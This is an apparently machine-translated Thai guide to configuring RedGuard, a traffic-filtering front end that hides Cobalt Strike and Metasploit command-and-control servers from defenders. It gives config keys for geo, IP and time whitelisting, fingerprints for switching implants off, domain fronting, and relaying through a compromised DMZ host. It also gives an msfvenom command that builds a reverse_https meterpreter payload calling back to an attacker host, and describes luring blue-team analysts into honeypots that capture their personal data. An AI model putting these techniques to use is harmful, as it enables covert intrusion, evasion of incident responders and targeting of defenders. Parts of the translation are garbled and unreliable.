Port_HTTP = :80พฤติกรรมการติดตามของทีมสีน้ำเงินได้รับการวิเคราะห์ผ่านบันทึกการสกัดกั้นของคำขอเป้าหมาย ซึ่งสามารถใช้เพื่อติดตามเหตุการณ์/ปัญหาการเชื่อมต่อแบบเพียร์ ไฟล์บันทึกถูกสร้างขึ้นในไดเร็กทอรีที่ RedGuard กำลังทำงานอยู่ ชื่อไฟล์: RedGuard.log
ส่วนนี้อธิบายวิธีกำหนดค่า RG เพื่อรับที่อยู่ IP จริงของคำขอ คุณจะต้องเพิ่มการกำหนดค่าต่อไปนี้ในโปรไฟล์ของอุปกรณ์ C2 เท่านั้น โดยจะได้รับที่อยู่ IP ที่แท้จริงของเป้าหมายผ่านส่วนหัวคำขอ X-Forwarded-For
http-config {
set trust_x_forwarded_for " true " ;
} วิธีการกำหนดค่าใช้ AllowLocation = Jinan, Beijing เป็นตัวอย่าง โปรดทราบว่า RedGuard จัดเตรียม API สองตัวสำหรับการระบุแหล่งที่มา IP แบบย้อนกลับ หนึ่งตัวสำหรับผู้ใช้ในจีนแผ่นดินใหญ่และอีกตัวสำหรับผู้ใช้ในจีนแผ่นดินใหญ่ และสามารถกำหนด API ที่จะใช้แบบไดนามิกตามชื่อโดเมนทางภูมิศาสตร์ที่ป้อนเข้าไป หากเป้าหมายคือจีนแล้ว ใช้ภาษาจีนสำหรับภูมิภาคที่กำหนด มิฉะนั้นให้ใช้ชื่อสถานที่เป็นภาษาอังกฤษ ขอแนะนำให้ผู้ใช้ในจีนแผ่นดินใหญ่ใช้ชื่อภาษาจีน เพื่อให้ความถูกต้องของการระบุแหล่งที่มาและความเร็วในการตอบสนองของ API ที่ได้รับจากการสืบค้นแบบย้อนกลับเป็นตัวเลือกที่ดีที่สุด
PS ผู้ใช้ชาวจีนแผ่นดินใหญ่ อย่าใช้ AllowLocation = จี่หนาน ปักกิ่ง ด้วยวิธีนี้! มันไม่สมเหตุสมผลเลย อักขระตัวแรกของค่าพารามิเตอร์จะกำหนดว่าจะใช้ API ใด!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
ก่อนที่จะตัดสินใจจำกัดภูมิภาค คุณสามารถค้นหาที่อยู่ IP ด้วยตนเองโดยใช้คำสั่งต่อไปนี้
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryที่นี่เราตั้งค่าให้อนุญาตเฉพาะภูมิภาคซานตงเท่านั้นที่ออนไลน์ได้
การจราจรตามกฎหมาย:
พื้นที่คำขอที่ผิดกฎหมาย:
ในส่วนของความเชื่อมโยงของข้อจำกัดทางภูมิศาสตร์ อาจมีประโยชน์มากกว่าในการฝึกซ้อมรุกและตั้งรับในปัจจุบัน โดยพื้นฐานแล้ว เป้าหมายของข้อจำกัดการฝึกรุกและป้องกันในระดับจังหวัดและเทศบาลนั้นอยู่ในพื้นที่ที่กำหนด และการจราจรที่ร้องขอโดยพื้นที่อื่น ๆ ก็สามารถเพิกเฉยได้ ฟังก์ชันของ RedGuard นี้ไม่เพียงจำกัดภูมิภาคเดียวเท่านั้น แต่ยังจำกัดภูมิภาคการเชื่อมต่อหลายรายการตามจังหวัดและเมือง และสกัดกั้นการรับส่งข้อมูลที่ร้องขอโดยภูมิภาคอื่น ๆ
นอกเหนือจากบัญชีดำ IP ในตัวของผู้จำหน่ายความปลอดภัยทางไซเบอร์ใน RedGuard แล้ว เรายังสามารถจำกัดตามวิธีบัญชีขาวได้อีกด้วย ในความเป็นจริง ฉันยังแนะนำด้วยว่าในระหว่างการเจาะเว็บ เราสามารถจำกัดที่อยู่ IP ออนไลน์ตามรายการที่อนุญาตเพื่อแยกที่อยู่ IP ได้หลายวิธี
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
ดังที่แสดงในภาพด้านบน เราจำกัดให้อนุญาตการเชื่อมต่อ 127.0.0.1 เท่านั้น จากนั้นการรับส่งข้อมูลคำขอของ IP อื่นจะถูกบล็อก
ฟังก์ชั่นนี้น่าสนใจยิ่งขึ้น การตั้งค่าพารามิเตอร์ต่อไปนี้ในไฟล์กำหนดค่าหมายความว่าศูนย์ควบคุมการจราจรสามารถเชื่อมต่อได้ตั้งแต่เวลา 8.00 น. ถึง 21.00 น. เท่านั้น สถานการณ์การใช้งานเฉพาะที่นี่คือในช่วงเวลาการโจมตีที่ระบุ เราอนุญาตให้สื่อสารกับ C2 และยังคงเงียบในเวลาอื่น นอกจากนี้ยังช่วยให้ทีมสีแดงนอนหลับสบายตลอดทั้งคืนโดยไม่ต้องกังวลว่าทีมสีน้ำเงินที่ปฏิบัติหน้าที่ในตอนกลางคืนจะเบื่อที่จะวิเคราะห์โทรจันของคุณแล้วตื่นขึ้นมาพบกับสิ่งที่อธิบายไม่ได้ 555
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard ใช้โปรไฟล์ Malleable C2 โดยแยกวิเคราะห์ส่วนไฟล์การกำหนดค่าที่ขยายได้ที่ให้มาเพื่อทำความเข้าใจสัญญาและส่งเฉพาะคำขอขาเข้าที่ตอบสนองเท่านั้น ในขณะที่ทำให้คำขออื่นเข้าใจผิด ส่วนต่างๆ เช่น http-stager , http-get และ http-post และ uris, header, User-Agent ฯลฯ ที่เกี่ยวข้อง ถูกนำมาใช้เพื่อแยกแยะคำขอสัญญาณทางกฎหมายจากสัญญาณรบกวนทางอินเทอร์เน็ตที่ไม่เกี่ยวข้องหรือแพ็คเก็ต IR/AV/EDR Out-of-bounds
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
แนะนำให้ใช้โปรไฟล์ที่เขียนโดย 风起:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
ใน Cobalt Strike 4.7+ นั้น Teamserver จะลบส่วนหัว Content-Encoding โดยอัตโนมัติโดยไม่มีการแจ้งเตือนใดๆ ซึ่งอาจทำให้เกิดการละเมิด http-(get|post)server ที่ปรับเปลี่ยนได้ ยิ่งไปกว่านั้น หากไม่มีประเภทเนื้อหาในข้อความตอบกลับของ CS Server แต่หลังจากส่งต่อโดย RedGuard แล้ว ประเภทเนื้อหานั้นจะถูกเพิ่มในส่วนหัวของข้อความตอบกลับ ส่งผลให้ cf แคชเพจและทำให้เกิดการรบกวน
หลังจาก RedGuard 23.08.21 ฟังก์ชั่นการปรับแต่งส่วนหัวของแพ็กเก็ตการตอบกลับได้ถูกเพิ่มเข้ามา ผู้ใช้สามารถปรับแต่งและลบข้อมูลส่วนหัวในแพ็กเก็ตการตอบกลับโดยการแก้ไขไฟล์การกำหนดค่าเพื่อแก้ไขปัญหาการแยกวิเคราะห์ที่ไม่ถูกต้อง
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 ได้อัปเดตฟังก์ชันการจดจำลายนิ้วมือตัวอย่างโทรจัน ซึ่งขึ้นอยู่กับการปรับแต่งฟิลด์ส่วนหัว HTTP ของโปรไฟล์ Malleable เป็นลายนิ้วมือ “ ค่าเกลือตัวอย่าง ” เพื่อระบุ ตัวฟัง C2 /โฮสต์ส่วนหัวเดียวกันโดยไม่ซ้ำกัน นอกจากนี้ ลายนิ้วมือตัวอย่างโทรจันที่สร้างขึ้นโดยการรวมฟิลด์คำขออื่นๆ ที่เกี่ยวข้องสามารถใช้เพื่อตรวจจับความมีชีวิตชีวาของตัวอย่างแบบกำหนดเองได้ ตามความต้องการงานของผู้โจมตี ฟังก์ชันการจดจำลายนิ้วมือตัวอย่างโทรจันสามารถดำเนินการ " การทำงานแบบออฟไลน์ " กับตัวอย่างที่คุณต้องการปิดใช้งาน เพื่อหลบเลี่ยงการวิเคราะห์การรับส่งข้อมูลที่เป็นอันตรายของการสื่อสารตัวอย่างและตัวอย่างที่ได้รับการวิเคราะห์เพย์โหลดการโจมตี PAYLOAD แบบจัดฉาก และให้ข้อมูลเพิ่มเติม มาตรการลักลอบส่วนบุคคลสำหรับผู้โจมตี
สำหรับผู้ฟัง C2 ที่แตกต่างกัน เราสามารถกำหนดนามแฝงที่แตกต่างกันให้กับการกำหนดค่าโปรไฟล์อ่อนได้ ปรับแต่งชื่อฟิลด์และค่าของส่วนหัวที่เกี่ยวข้องเป็นค่าเกลือตัวอย่าง และใช้เป็นหนึ่งในความแตกต่างระหว่างตัวอย่างที่แตกต่างกัน รหัสต่อไปนี้มีวัตถุประสงค์เพื่อการอธิบาย และในสถานการณ์การโจมตีและการป้องกันจริง เราสามารถใช้ฟิลด์แพ็กเก็ตคำขอ HTTP ที่สมจริงยิ่งขึ้นเป็นพื้นฐานในการตัดสิน
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}การรับส่งข้อมูล HTTP
ดังที่แสดงในภาพ เราใช้ค่าเกลือตัวอย่างด้านบนและฟิลด์โฮสต์เป็นพื้นฐานสำหรับการสร้างลายนิ้วมือ ที่นี่เรารู้:
จากการประกบค่าข้างต้น จะได้ลายนิ้วมือตัวอย่างดังนี้:
22e6db08c5ef1889d64103a290ac145cตอนนี้เราทราบลายนิ้วมือตัวอย่างข้างต้นแล้ว เราก็สามารถตั้งค่าฟิลด์ส่วนหัวที่กำหนดเองและลายนิ้วมือตัวอย่างในไฟล์การกำหนดค่า RedGuard สำหรับการสกัดกั้นการรับส่งข้อมูลที่เป็นอันตรายได้ เป็นที่น่าสังเกตว่าเราสามารถขยายตัวอย่างลายนิ้วมือได้หลายรายการโดยคั่นด้วยเครื่องหมายจุลภาค และชื่อฟิลด์จะต้องสอดคล้องกับชื่อฟิลด์ส่วนหัวที่กำหนดค่าในโปรไฟล์แบบอ่อนได้
เนื่องจากไฟล์การกำหนดค่าของ RedGuard เป็นการกำหนดค่าแบบ hot เราจึงไม่จำเป็นต้องรีสตาร์ท RedGuard เพื่อสกัดกั้นตัวอย่างที่เราต้องการปิดใช้งาน เมื่อเราต้องการให้เปิดใช้งานตัวอย่างอีกครั้ง เราเพียงแค่ต้องลบลายนิ้วมือตัวอย่างที่เกี่ยวข้องออกจากไฟล์การกำหนดค่า RedGuard
ผลการสาธิต:
หากมีปัญหากับวิธีการข้างต้น เซิร์ฟเวอร์ C2 ออนไลน์จริงจะไม่สามารถดักจับโดยไฟร์วอลล์ได้โดยตรง เนื่องจากการร้องขอการปรับสมดุลโหลดจริงในพร็อกซีย้อนกลับนั้นสร้างโดย IP ของผู้ผลิตเซิร์ฟเวอร์คลาวด์
ในการต่อสู้เดี่ยว เราสามารถตั้งกฎการสกัดกั้นบนไฟร์วอลล์เซิร์ฟเวอร์คลาวด์ได้
จากนั้นตั้งค่าที่อยู่ที่พร็อกซีชี้ไปที่ https://127.0.0.1:4433
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }และเนื่องจากการตรวจสอบขั้นพื้นฐานของเราอิงตามส่วนหัวคำขอ HTTP HOST สิ่งที่เราเห็นในการรับส่งข้อมูล HTTP จึงเหมือนกับวิธีการ Fronting โดเมนด้วย แต่ค่าใช้จ่ายต่ำกว่า และจำเป็นต้องใช้เซิร์ฟเวอร์คลาวด์เพียงเซิร์ฟเวอร์เดียวเท่านั้น
สำหรับการตั้งค่า Listener HTTPS Port (C2) จะถูกตั้งค่าเป็นพอร์ตพร็อกซีย้อนกลับ RedGuard และ HTTPS Port (Bind) คือพอร์ตการเชื่อมต่อที่แท้จริงของเครื่องท้องถิ่น
สร้างโทรจัน
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeแน่นอนว่า ในสถานการณ์จำลองโดเมน คุณยังสามารถกำหนดค่า LHOST ของคุณให้ใช้ชื่อโดเมนใดๆ ของ CDN ของผู้ผลิตได้ และให้ความสำคัญกับการตั้งค่า HttpHostHeader ให้ตรงกับ RedGuard
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true สิ่งสำคัญคือต้องทราบว่าการตั้งค่า OverrideRequestHost จะต้องตั้งค่าเป็น true นี่เป็นเพราะคุณสมบัติวิธีที่ Metasploit จัดการคำขอ HTTP/S ขาเข้าตามค่าเริ่มต้น เมื่อสร้างการกำหนดค่าสำหรับเพย์โหลดชั่วคราว ตามค่าเริ่มต้น Metasploit จะใช้ค่าส่วนหัว Host ของคำขอขาเข้า (ถ้ามี) สำหรับการกำหนดค่าขั้นที่สองแทนพารามิเตอร์ LHOST ดังนั้น ขั้นตอนการสร้างจึงได้รับการกำหนดค่าให้ส่งคำขอโดยตรงไปยังชื่อโดเมนที่ซ่อนของคุณ เนื่องจาก CloudFront ส่งโดเมนภายในของคุณในส่วนหัว Host ของคำขอที่ส่งต่อ เห็นได้ชัดว่านี่ไม่ใช่สิ่งที่เราขอ เมื่อใช้ค่าการกำหนดค่า OverrideRequestHost เราสามารถบังคับให้ Metasploit ละเว้นส่วนหัว Host ขาเข้า และใช้ค่าการกำหนดค่า LHOST ที่ชี้ไปยังโดเมน CloudFront ต้นทางแทน
ผู้ฟังถูกตั้งค่าเป็นพอร์ตบรรทัดจริงที่ตรงกับที่อยู่ RedGuard ที่ส่งต่อจริงๆ
RedGuard ได้รับคำขอ:
ดังแสดงในรูปด้านล่าง เมื่อกฎการสกัดกั้นของเราถูกตั้งค่าเป็น DROP โพรบระบบการแมปเชิงพื้นที่จะตรวจสอบไดเร็กทอรี / ของพอร์ตพร็อกซีย้อนกลับของเราหลายครั้ง ตามทฤษฎีแล้ว แพ็กเก็ตคำขอที่ส่งโดยการแมปจะถูกปลอมแปลงเป็นการรับส่งข้อมูลปกติดังที่แสดง แต่หลังจากพยายามหลายครั้ง เนื่องจากลายเซ็นของแพ็คเก็ตคำขอไม่ตรงตามข้อกำหนดการเปิดตัวของ RedGuard พวกเขาทั้งหมดจึงได้รับการตอบกลับโดย Close HTTP ผลลัพธ์สุดท้ายที่แสดงบนแพลตฟอร์มการสำรวจและการทำแผนที่คือพอร์ตพร็อกซีย้อนกลับไม่ได้เปิดอยู่
ปริมาณข้อมูลที่แสดงในภาพด้านล่างหมายความว่าเมื่อกฎการสกัดกั้นถูกตั้งค่าเป็นการเปลี่ยนเส้นทาง เราจะพบว่าเมื่อโพรบการแมปได้รับการตอบกลับ มันจะสแกนไดเร็กทอรีของเราต่อไป User-Agent เป็นการสุ่ม ซึ่งดูเหมือนว่าจะสอดคล้องกับคำขอรับส่งข้อมูลปกติ แต่ทั้งสองถูกบล็อกสำเร็จ
แพลตฟอร์มการแมป - เอฟเฟกต์โหมดสกัดกั้นการตอบสนองการจี้:
แพลตฟอร์มการสำรวจและการทำแผนที่ - ผลของการสกัดกั้นการเปลี่ยนเส้นทาง:
RedGuard รองรับการบังหน้าโดเมน ในความคิดของผม การนำเสนอมีสองรูปแบบ วิธีแรกคือการใช้วิธีการ Fronting โดเมนแบบเดิม ซึ่งสามารถทำได้โดยการตั้งค่าพอร์ตของ Reverse Proxy ของเราในที่อยู่ Back-to-Origin ที่มีการเร่งความเร็วทั่วทั้งไซต์ โดยพื้นฐานแล้ว ฟังก์ชั่นการควบคุมการรับส่งข้อมูลจะถูกเพิ่มให้กับส่วนหน้าของโดเมน และสามารถเปลี่ยนเส้นทางไปยัง URL ที่ระบุได้ตามการตั้งค่าที่เราตั้งไว้เพื่อให้ดูสมจริงยิ่งขึ้น ควรสังเกตว่าการตั้งค่า Redguard ของส่วนหัวโฮสต์ HTTPS จะต้องสอดคล้องกับชื่อโดเมนของการเร่งความเร็วทั่วทั้งไซต์
ในการต่อสู้ครั้งเดียวฉันขอแนะนำว่าวิธีการข้างต้นสามารถใช้และในงานของทีมมันสามารถทำได้โดย "โดเมน fronting" ที่สร้างขึ้นเอง
ในโดเมนที่สร้างขึ้นเองให้อยู่ด้านหน้าของพอร์ตพอร์ตพร็อกซีย้อนกลับหลายพอร์ตที่สอดคล้องกันและส่วนหัวโฮสต์ชี้ไปที่พอร์ตการฟังเซิร์ฟเวอร์ C2 จริงของแบ็คเอนด์อย่างสม่ำเสมอ ด้วยวิธีนี้เซิร์ฟเวอร์ C2 จริงของเราสามารถซ่อนได้ดีและเซิร์ฟเวอร์ของพร็อกซีย้อนกลับสามารถเปิดพอร์ตพร็อกซีได้โดยการกำหนดค่าไฟร์วอลล์
สิ่งนี้สามารถทำได้ผ่านเซิร์ฟเวอร์โหนดหลายตัวและกำหนดค่า IP หลายของโหนดของเราใน CS Listener HTTPS Online IP
หลักการของการดักฮันนีพ็อตที่เป็นอันตรายส่วนใหญ่อาศัยการตอบสนองการจี้หรือฟังก์ชั่นการเปลี่ยนเส้นทางของคำแนะนำการจราจร RG ซึ่งเป็นแนวทางให้นักวิเคราะห์ที่ประเมินสิ่งอำนวยความสะดวก C2 ไปยังที่อยู่ของกล่องทรายฮันนีพ็อต ในสถานะการตอบสนองการจี้ RG จะส่งการร้องขอการรับส่งข้อมูลที่ไม่เป็นไปตามกฎขาเข้าของสินทรัพย์ Honeypot เมื่อพบฮันนีพ็อตที่ทรงพลังกว่า (เช่นผู้ที่จับหมายเลขโทรศัพท์มือถือผู้ให้บริการ) ลูกค้าจะเริ่มคำขอตามการตอบสนองของไซต์เป้าหมายและถูกจี้โดย JSONP เพื่อรับข้อมูลที่เกี่ยวข้อง
ลองนึกภาพว่าเมื่อนักวิเคราะห์เข้าถึงพอร์ตออนไลน์ C2 โดยตรงพวกเขาจะถูกนำไปยังสินทรัพย์ Honeypot ซึ่งจะทำให้นักวิเคราะห์รบกวนอย่างไม่ต้องสงสัย นักวิเคราะห์ได้รับคำสั่งให้ขอสินทรัพย์ฮันนีพ็อตอย่างร้ายกาจและการตรวจสอบฮันนีพ็อตจะจับข้อมูลที่เกี่ยวข้องของนักวิเคราะห์ทีมสีน้ำเงินและติดตามข้อผิดพลาด หากเป้าหมายการวิเคราะห์ผิดตั้งแต่ต้นคุณจะได้ผลลัพธ์ที่ดีได้อย่างไร? สิ่งนี้จะทำให้เกิดแรงเสียดทานภายในอย่างรุนแรงสำหรับทีมป้องกัน
นี่คือชุดลายนิ้วมือ Zoomeye ที่เกี่ยวข้องกับสินทรัพย์ Honeypot:
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
วิธีการบรรลุเอฟเฟกต์นี้ง่ายมากคุณจะต้องเปลี่ยนค่าคีย์ที่เกี่ยวข้องในไฟล์กำหนดค่า RG
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comปล. ฉันเชื่อว่าทุกคนรู้วิธีกำหนดค่าโดยไม่มีคำอธิบาย :)
วิธีนี้เป็นเคล็ดลับที่มีไหวพริบซึ่งสะท้อนให้เห็นในความคิด หากมีการใช้งานเพิ่มเติมฟังก์ชั่นการจับฮันนีพ็อตสามารถปรับใช้ในศูนย์ควบคุมการจราจรด้านหน้า C2 และการรับส่งข้อมูลแบบโต้ตอบสามารถนำไปใช้ได้ ผลกระทบคือข้อมูลแคชเบราว์เซอร์ของลูกค้าสามารถรับได้เช่นเดียวกับฮันนีพ็อตแบบดั้งเดิม อย่างไรก็ตามโดยส่วนตัวแล้วฉันรู้สึกว่าในเวอร์ชันสาธารณะมันอาจไม่มีความหมายที่จะนำไปใช้กับการโจมตีและการเผชิญหน้าในปัจจุบัน มันไม่มีความหมายสำหรับผู้โจมตีที่จะรวบรวมข้อมูลทางสังคมของนักวิเคราะห์ทีมสีน้ำเงินแล้วติดตามมัน แน่นอนว่าการก้าวถอยหลังสิ่งนี้อาจทำให้การวิเคราะห์ตัวอย่าง C2 อันตรายยิ่งขึ้น เมื่อผู้โจมตีของอุตสาหกรรมสีดำและสีเทาสามารถได้รับเอกลักษณ์เสมือนจริงของนักวิเคราะห์หากสามารถแปลงอัตลักษณ์เสมือนจริงและจริงได้มันก็ยังค่อนข้างอันตราย ดังนั้นฉันคิดว่าการวิจัยและการวิเคราะห์ในอนาคตควรระมัดระวังและระมัดระวังมากขึ้น
ในสถานการณ์การโจมตีและการป้องกันการเผชิญหน้าเครือข่ายหน่วยส่วนใหญ่ยังคงเป็นการป้องกันที่อิงกับชายแดน ที่นี่เราพิจารณาสถานการณ์ที่เซิร์ฟเวอร์ภายนอกในพื้นที่ DMZ มักถูกกำหนดค่าด้วยนโยบายการเข้าถึงที่เกี่ยวข้องในสภาพแวดล้อมทางธุรกิจปกติ ในเวลานี้เมื่อเซิร์ฟเวอร์ภายนอกที่ขอบสามารถเข้าถึงเครือข่ายได้ แต่ไม่สามารถเข้าถึงโฮสต์อินทราเน็ตได้โดยตรงพีซีหรือเซิร์ฟเวอร์ที่เกี่ยวข้องในอินทราเน็ตไม่สามารถเข้าถึงเครือข่ายสาธารณะได้โดยตรง แต่สามารถเข้าถึงเซิร์ฟเวอร์ธุรกิจในพื้นที่ DMZ ได้ จากนั้นฉันสามารถใช้โฮสต์ของโหนดขอบเป็นโหนด RG เพื่อถ่ายโอนการรับส่งข้อมูลออนไลน์อินทราเน็ตไปยังโรงงาน C2 ของเรา มันฟังดูคล้ายกับการถ่ายโอนพร็อกซีแบบดั้งเดิมออนไลน์หรือไม่? อย่างไรก็ตามนี่เป็นเพียงรูปแบบของการแสดงผลของการใช้ทักษะ มาดูเคล็ดลับเพิ่มเติม
เมื่อเราถอดโฮสต์ขอบในระหว่างกระบวนการจัดการโดยสมมติว่าเราได้รับสิทธิ์ในการอนุญาตเชลล์เราจะปรับใช้ RG บนเซิร์ฟเวอร์นี้เป็นโหนดส่วนหน้าของเรา (ในสถานการณ์จริงไฟล์การกำหนดค่าจะถูกเข้ารหัสยากในโปรแกรม และแม้แต่ม้าโทรจันและ RG ก็รวมอยู่ในโปรแกรมเดียวกัน)
ไฟล์กำหนดค่ามีดังนี้:
สำหรับการกำหนดค่าเฉพาะเรามุ่งเน้นไปที่ลูกศรเป็นหลัก ลูกศร 1 ด้านบนเป็นชื่อโดเมนโฮสต์สำหรับการโต้ตอบระหว่างโฮสต์อินทราเน็ตและโหนดขอบ ขอแนะนำให้ตั้งค่าชื่อโดเมนอินทราเน็ตที่เกี่ยวข้องตามสถานการณ์เฉพาะของหน่วยเป้าหมาย ลองนึกภาพการโต้ตอบระหว่างโฮสต์สองโฮสต์ในอินทราเน็ตเกี่ยวกับชื่อโดเมนอินทราเน็ต BT มีความกล้าที่จะตัดการจราจรแบบโต้ตอบโดยตรงหรือไม่? แน่นอนถ้าพวกเขาสามารถระบุได้ว่ามันเป็นปริมาณการใช้งานแบบโต้ตอบที่เป็นอันตราย ลูกศร 2 ชี้ไปที่การตั้งค่าของส่วนหน้าโดเมนทั่วไป คู่คีย์-ค่านี้คีย์สอดคล้องกับโฮสต์ออนไลน์และค่าสอดคล้องกับที่อยู่พร็อกซี ที่นี่เราสามารถตั้งค่าเป็นชื่อโดเมน HTTPS ใด ๆ โดยใช้ผู้ผลิต CDN รายเดียวกัน (CDN Node IP ก็โอเคอย่าลืมนำ HTTP (S): // โปรโตคอล)
EdgeHost เป็นชื่อโดเมนที่ใช้โดยส่วนหน้าโดเมนของผู้ให้บริการคลาวด์ของเราซึ่งเป็นชื่อโดเมนที่ใช้โดยโหนด RG Edge เมื่อโต้ตอบกับ C2 ผ่านโหนด CDN ใช่ RG จะแก้ไขชื่อโดเมนโฮสต์ของคำขอที่ถูกต้องตามกฎหมายและแก้ไขเป็นชื่อโดเมนบริการคลาวด์ CDN ที่สามารถสื่อสารได้ตามปกติ
EdgetArget เป็นชื่อโดเมนสำหรับการโต้ตอบอินทราเน็ตซึ่งจะต้องเหมือนกับลูกศร 1. เฉพาะทราฟฟิกที่ขอชื่อโดเมนที่ตั้งไว้ที่นี่โดยโฮสต์จะได้รับการพิจารณาว่าถูกต้องตามกฎหมาย การสื่อสาร.
ที่นี่เราสรุป:
นั่นคือการทำงานร่วมกันระหว่างโหนดขอบและโฮสต์ในอินทราเน็ตคือผ่านชื่อโดเมนอินทราเน็ตชุด ไหน.
